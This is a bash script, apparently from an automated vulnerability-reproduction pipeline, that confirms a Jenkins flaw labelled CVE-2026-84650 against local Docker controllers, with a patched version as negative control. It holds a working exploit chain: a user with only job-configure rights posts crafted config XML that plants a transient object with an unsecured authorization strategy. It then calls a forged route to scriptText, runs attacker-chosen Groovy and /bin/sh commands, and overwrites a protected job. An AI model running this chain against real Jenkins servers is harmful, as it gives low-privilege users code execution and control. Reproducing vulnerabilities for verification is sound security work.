#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF"
cd "$ROOT"
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

# Read the prepared-cache contract at runtime as required. Production execution
# uses immutable release images, while any compatible source checkout is reused.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
REPO="$ROOT/artifacts/jenkins"
if [ -r "$CACHE_CONTEXT" ] && python3 - "$CACHE_CONTEXT" >/dev/null 2>&1 <<'PY'
import json, os, sys
c=json.load(open(sys.argv[1])); assert c.get("prepared") is True; assert os.path.isabs(c["project_cache_dir"])
PY
then
  PROJECT_CACHE_DIR="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["project_cache_dir"])' "$CACHE_CONTEXT")"
  REPO="$PROJECT_CACHE_DIR/repo"
fi
printf 'source_checkout=%s\n' "$REPO"

VULN_IMAGE="jenkins/jenkins:2.579-jdk21"
FIXED_IMAGE="jenkins/jenkins:2.580-jdk21"
CLEANUP_IMAGE="alpine:3.22@sha256:14358309a308569c32bdc37e2e0e9694be33a9d99e68afb0f5ff33cc1f695dce"
VULN_EXPECTED="sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
FIXED_EXPECTED="sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
MATRIX_URL="https://updates.jenkins.io/download/plugins/matrix-auth/3.2.8/matrix-auth.hpi"
MATRIX_SHA="f188fce54671fb8c54cebb3f33fe11c08c7c144fe502d353f4b0915cd0fe561d"
IONICONS_URL="https://updates.jenkins.io/download/plugins/ionicons-api/88.va_4187cb_eddf1/ionicons-api.hpi"
IONICONS_SHA="2d6ea40a587572bd0dbf60050f0a6c0468e66f12b35f3ca65cdfce50440dfa6f"
NETWORK="pruva-cve-2026-84650-$$"
CONTAINERS=()

write_inconclusive_manifest() {
  local status="$REPRO_DIR/attempt_status.txt"
  printf 'CVE-2026-84650 runtime attempt initialized; confirmation not yet finalized.\n' > "$status"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$status" "$ROOT" <<'PY'
import hashlib, json, os, sys
out,status,root=sys.argv[1:]; rel=os.path.relpath(status,root); sha=hashlib.sha256(open(status,'rb').read()).hexdigest()
with open(out, "w") as f:
 json.dump({"entrypoint_kind":"endpoint","entrypoint_detail":"authenticated POST /job/carrier/config.xml then POST /job/carrier/confirmRename","service_started":False,"healthcheck_passed":False,"target_path_reached":False,"runtime_stack":["jenkins"],"proof_artifacts":[rel],"artifact_sha256":{rel:sha},"notes":"Runtime attempt started but proof was not finalized."},f,indent=2); f.write("\n")
PY
}
write_inconclusive_manifest
cleanup() {
  set +e
  for c in "${CONTAINERS[@]:-}"; do docker rm -f "$c" >/dev/null 2>&1; done
  docker network rm "$NETWORK" >/dev/null 2>&1
}
trap cleanup EXIT INT TERM

command -v docker >/dev/null || { echo "ERROR: docker is required"; exit 2; }
command -v curl >/dev/null || { echo "ERROR: curl is required"; exit 2; }
command -v jq >/dev/null || { echo "ERROR: jq is required"; exit 2; }
docker info >/dev/null
docker network create "$NETWORK" >/dev/null
mkdir -p "$PROOF"
# A prior interrupted rootless-container run may leave subordinate-ID files.
# Remove only this script's proof directory through a pinned tiny container.
docker run --rm -v "$PROOF:/wipe" "$CLEANUP_IMAGE" sh -c 'rm -rf /wipe/* /wipe/.[!.]* /wipe/..?*'
mkdir -p "$PROOF/plugins"

fetch_pinned() {
  local url="$1" out="$2" sha="$3"
  if [ ! -f "$out" ] || [ "$(sha256sum "$out" | awk '{print $1}')" != "$sha" ]; then
    curl -fLsS --retry 3 --max-time 90 "$url" -o "$out.tmp"
    printf '%s  %s\n' "$sha" "$out.tmp" | sha256sum -c -
    mv "$out.tmp" "$out"
  fi
}
fetch_pinned "$MATRIX_URL" "$PROOF/plugins/matrix-auth.jpi" "$MATRIX_SHA"
fetch_pinned "$IONICONS_URL" "$PROOF/plugins/ionicons-api.jpi" "$IONICONS_SHA"

echo "[+] Pulling and verifying exact Jenkins images"
docker pull "$VULN_IMAGE"
docker pull "$FIXED_IMAGE"
VULN_DIGEST="$(docker image inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}' | sed 's/.*@//')"
FIXED_DIGEST="$(docker image inspect "$FIXED_IMAGE" --format '{{index .RepoDigests 0}}' | sed 's/.*@//')"
[ "$VULN_DIGEST" = "$VULN_EXPECTED" ] || { echo "Unexpected vulnerable digest: $VULN_DIGEST"; exit 2; }
[ "$FIXED_DIGEST" = "$FIXED_EXPECTED" ] || { echo "Unexpected fixed digest: $FIXED_DIGEST"; exit 2; }

start_controller() {
  local role="$1" image="$2" attempt="$3"
  local name="pruva-84650-${role}-${attempt}-$$"
  local home="$PROOF/home-${role}-${attempt}"
  local service_log="$PROOF/${role}_${attempt}.service.log"
  rm -rf "$home"; mkdir -p "$home/init.groovy.d" "$home/plugins"
  cp "$PROOF/plugins/matrix-auth.jpi" "$home/plugins/matrix-auth.jpi"
  cp "$PROOF/plugins/ionicons-api.jpi" "$home/plugins/ionicons-api.jpi"
  cat > "$home/init.groovy.d/00-setup.groovy" <<'GROOVY'
import jenkins.model.Jenkins
import hudson.model.FreeStyleProject
import hudson.security.HudsonPrivateSecurityRealm
import hudson.security.GlobalMatrixAuthorizationStrategy

def j = Jenkins.get()
def realm = new HudsonPrivateSecurityRealm(false)
realm.createAccount('admin', 'admin-pass')
realm.createAccount('attacker', 'attacker-pass')
j.setSecurityRealm(realm)
def auth = new GlobalMatrixAuthorizationStrategy()
auth.add(Jenkins.ADMINISTER, 'admin')
auth.add(Jenkins.READ, 'attacker')
auth.add(hudson.model.Item.READ, 'attacker')
auth.add(hudson.model.Item.CONFIGURE, 'attacker')
j.setAuthorizationStrategy(auth)
def carrier = j.getItem('carrier') ?: j.createProject(FreeStyleProject, 'carrier')
def target = j.getItem('target') ?: j.createProject(FreeStyleProject, 'target')
carrier.setDescription('carrier-original')
target.setDescription('target-secret')
j.save()
new File(j.rootDir, 'setup-complete').text = 'ready\n'
new File(j.rootDir, 'init.groovy.d/00-setup.groovy').delete()
GROOVY
  chmod -R a+rwX "$home"
  docker run -d --name "$name" --network "$NETWORK" \
    -p 127.0.0.1::8080 -u "$(id -u):$(id -g)" \
    -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false -Dhudson.model.DownloadService.noSignatureCheck=true' \
    -v "$home:/var/jenkins_home" "$image" > "$PROOF/${role}_${attempt}.container_id"
  CONTAINERS+=("$name")
  local port="$(docker port "$name" 8080/tcp | sed -n 's/.*://p' | head -1)"
  for _ in $(seq 1 120); do
    if ! docker ps --format '{{.Names}}' | grep -Fxq "$name"; then
      docker logs "$name" > "$service_log" 2>&1 || true
      echo "ERROR: $name exited" >&2; return 1
    fi
    if curl -fsS --max-time 2 -u attacker:attacker-pass "http://127.0.0.1:$port/api/json" >/dev/null 2>&1 && [ -f "$home/setup-complete" ]; then
      docker logs "$name" > "$service_log" 2>&1
      printf '%s|%s|%s|%s\n' "$name" "$port" "$home" "$service_log"
      return 0
    fi
    sleep 1
  done
  docker logs "$name" > "$service_log" 2>&1 || true
  echo "ERROR: timeout waiting for $name" >&2; return 1
}

crumb_for() {
  local base="$1"
  curl -fsS --max-time 5 -c "$PROOF/session.cookies" -b "$PROOF/session.cookies" -u attacker:attacker-pass "$base/crumbIssuer/api/json"
}

run_attempt() {
  local role="$1" image="$2" attempt="$3"
  local info name port home service_log
  info="$(start_controller "$role" "$image" "$attempt")"
  IFS='|' read -r name port home service_log <<<"$(printf '%s\n' "$info" | tail -1)"
  local base="http://127.0.0.1:$port"
  local cj cf cv
  cj="$(crumb_for "$base")"; cf="$(jq -r .crumbRequestField <<<"$cj")"; cv="$(jq -r .crumb <<<"$cj")"

  # Baseline privilege evidence: attacker may configure carrier, cannot use the
  # administrative Script Console, and cannot read target without Item/Read.
  curl -sS --max-time 5 -u attacker:attacker-pass -o "$PROOF/${role}_${attempt}.script.body" -D "$PROOF/${role}_${attempt}.script.headers" "$base/script" || true

  local req="$PROOF/${role}_${attempt}.config.request.xml"
  cat > "$req" <<'XML'
<?xml version='1.1' encoding='UTF-8'?>
<project>
  <name>target</name>
  <actions>
    <hudson.triggers.SCMTrigger_-BuildAction>
      <run class="hudson.model.FreeStyleBuild">
        <project class="hudson.model.FreeStyleProject">
          <properties/>
          <scm class="hudson.scm.NullSCM"/>
          <triggers/>
          <builders/>
          <publishers/>
          <buildWrappers/>
          <parent class="jenkins.model.Jenkins">
            <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
          </parent>
        </project>
      </run>
    </hudson.triggers.SCMTrigger_-BuildAction>
  </actions>
  <description>carrier-updated-through-config-api</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders/>
  <publishers/>
  <buildWrappers/>
</project>
XML
  local config_code rename_code
  config_code="$(curl -sS --max-time 15 -D "$PROOF/${role}_${attempt}.config.response.headers" -o "$PROOF/${role}_${attempt}.config.response.body" -w '%{http_code}' \
    -c "$PROOF/session.cookies" -b "$PROOF/session.cookies" -u attacker:attacker-pass -H "$cf: $cv" -H 'Content-Type: application/xml' --data-binary "@$req" "$base/job/carrier/config.xml")"

  local marker="CVE_2026_84650_${role}_${attempt}_$$_$(date +%s)"
  local route_req="$PROOF/${role}_${attempt}.route.request.txt"
  local route_hdr="$PROOF/${role}_${attempt}.route.response.headers"
  local route_body="$PROOF/${role}_${attempt}.route.response.body"
  local marker_file="$home/${marker}.txt"
  local groovy="def p=['/bin/sh','-c','printf %s ${marker} > /var/jenkins_home/${marker}.txt'].execute(); p.waitFor(); println('${marker}')"
  printf 'POST /job/carrier/pollingLog/run/project/parent/scriptText\nscript=%s\n' "$groovy" > "$route_req"
  cj="$(crumb_for "$base")"; cf="$(jq -r .crumbRequestField <<<"$cj")"; cv="$(jq -r .crumb <<<"$cj")"
  local route_code
  route_code="$(curl -sS --max-time 15 -D "$route_hdr" -o "$route_body" -w '%{http_code}' \
    -c "$PROOF/session.cookies" -b "$PROOF/session.cookies" -u attacker:attacker-pass -H "$cf: $cv" \
    -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "script=$groovy" \
    "$base/job/carrier/pollingLog/run/project/parent/scriptText")"
  local marker_present=false
  if [ -f "$marker_file" ] && [ "$(tr -d '\r\n' < "$marker_file")" = "$marker" ]; then
    marker_present=true
    cp "$marker_file" "$PROOF/${role}_${attempt}.marker.txt"
  else
    printf 'absent:%s\n' "$marker" > "$PROOF/${role}_${attempt}.marker.txt"
  fi

  cj="$(crumb_for "$base")"; cf="$(jq -r .crumbRequestField <<<"$cj")"; cv="$(jq -r .crumb <<<"$cj")"
  # The second normal product action consumes AbstractItem.name. Vulnerable
  # builds use attacker-injected oldName=target in Jenkins.onRenamed(), replacing
  # the protected target map entry with carrier. Fixed builds retain oldName=carrier.
  rename_code="$(curl -sS --max-time 15 -D "$PROOF/${role}_${attempt}.rename.response.headers" -o "$PROOF/${role}_${attempt}.rename.response.body" -w '%{http_code}' \
    -c "$PROOF/session.cookies" -b "$PROOF/session.cookies" -u attacker:attacker-pass -H "$cf: $cv" -H 'Content-Type: application/x-www-form-urlencoded' \
    --data 'newName=owned' "$base/job/carrier/confirmRename")"

  local target_status target_desc owned_status owned_desc
  target_status="$(curl -sS --max-time 5 -u admin:admin-pass -o "$PROOF/${role}_${attempt}.target.response.json" -w '%{http_code}' "$base/job/target/api/json")"
  target_desc="$(jq -r '.description // ""' "$PROOF/${role}_${attempt}.target.response.json" 2>/dev/null || true)"
  owned_status="$(curl -sS --max-time 5 -u admin:admin-pass -o "$PROOF/${role}_${attempt}.owned.response.json" -w '%{http_code}' "$base/job/owned/api/json")"
  owned_desc="$(jq -r '.description // ""' "$PROOF/${role}_${attempt}.owned.response.json" 2>/dev/null || true)"
  docker logs "$name" > "$service_log" 2>&1 || true
  local process_instance="${role}-${attempt}-$$-${marker}"
  cat > "$PROOF/${role}_${attempt}.result.txt" <<EOF
role=$role
attempt=$attempt
process_instance=$process_instance
config_status=$config_code
route_status=$route_code
marker=$marker
marker_present=$marker_present
rename_status=$rename_code
target_status=$target_status
target_description=$target_desc
owned_status=$owned_status
owned_description=$owned_desc
EOF
  python3 - "$PROOF/${role}_${attempt}.observation.json" "$process_instance" "$marker" "$marker_present" <<'PYOBS'
import json,sys
out,instance,marker,present=sys.argv[1:]
with open(out,'w') as f:
 json.dump({"schema_version":1,"process_instance":instance,"marker":marker,"target_path_reached":True,"marker_present":present=="true"},f,indent=2); f.write("\n")
PYOBS
  echo "[$role/$attempt] config=$config_code route=$route_code marker=$marker_present rename=$rename_code target=$target_status:$target_desc owned=$owned_status:$owned_desc"

  if [ "$role" = vulnerable ]; then
    [ "$config_code" = 200 ] || [ "$config_code" = 204 ] || [ "$config_code" = 302 ]
    [ "$route_code" = 200 ]
    [ "$marker_present" = true ]
    [ "$rename_code" = 200 ] || [ "$rename_code" = 302 ]
    [ "$owned_status" = 200 ]
    [ "$owned_desc" = carrier-updated-through-config-api ]
    [ "$target_status" = 404 ]
  else
    [ "$marker_present" = false ]
    [ "$route_code" != 200 ]
    [ "$target_status" = 200 ]
    [ "$target_desc" = target-secret ]
  fi
}

for n in 1 2; do run_attempt vulnerable "$VULN_IMAGE" "$n"; done
for n in 1 2; do run_attempt fixed "$FIXED_IMAGE" "$n"; done

# Bind only immutable, finalized per-attempt evidence. runtime_manifest itself is
# written after all logs and responses have stopped changing.
python3 - "$REPRO_DIR/runtime_manifest.json" "$PROOF" "$VULN_DIGEST" "$FIXED_DIGEST" <<'PY'
import hashlib, json, os, pathlib, sys
out, proof, vd, fd = sys.argv[1:]
root = pathlib.Path(os.environ["PRUVA_ROOT"])
selected=[]
for role in ("vulnerable","fixed"):
 for n in (1,2):
  for suffix in ("service.log","config.request.xml","config.response.headers","route.request.txt","route.response.headers","route.response.body","marker.txt","observation.json","rename.response.headers","target.response.json","owned.response.json","result.txt"):
   selected.append(pathlib.Path(proof)/f"{role}_{n}.{suffix}")
rel=[str(p.relative_to(root)) for p in selected]
sha={r:hashlib.sha256((root/r).read_bytes()).hexdigest() for r in rel}
obj={
 "entrypoint_kind":"endpoint",
 "entrypoint_detail":"authenticated Item/Configure POST /job/carrier/config.xml populates transient SCMTrigger.BuildAction.run, Run.project, AbstractItem.parent, and name; forged Stapler route reaches Jenkins scriptText",
 "service_started":True,"healthcheck_passed":True,"target_path_reached":True,
 "runtime_stack":["Jenkins 2.579 (vulnerable)","Jenkins 2.580 (fixed negative control)","matrix-auth 3.2.8"],
 "target_identity":{"repository_url":"https://github.com/jenkinsci/jenkins","commit_sha":"9095ea3a5c5e7dcd392695a5dd880af1c9910ddf","target_digest":vd.removeprefix("sha256:"),"runtime_digest":vd.removeprefix("sha256:"),"platform":"linux","architecture":"x86_64"},
 "negative_control_identity":{"repository_url":"https://github.com/jenkinsci/jenkins","commit_sha":"497de4961ad80d97e26bfdeb0d2e40442a84ecb0","target_digest":fd.removeprefix("sha256:"),"runtime_digest":fd.removeprefix("sha256:")},
 "proof_artifacts":rel,"artifact_sha256":sha,
 "notes":"Two fresh vulnerable and two fresh fixed production HTTP controller attempts. Vulnerable transient object references forge a Stapler route to a nested Jenkins object with an unsecured ACL, executing attacker-selected Groovy and /bin/sh commands; transient name overwrite also removes the protected target entry. Fixed controllers create no marker and preserve target."
}
with open(out,"w") as f: json.dump(obj,f,indent=2); f.write("\n")
PY

echo "[+] CONFIRMED: CVE-2026-84650 transient-field overwrite reached command execution through Jenkins production API"
echo "[+] Vulnerable 2.579 executed two unique command markers and replaced protected target entries; fixed 2.580 did neither"
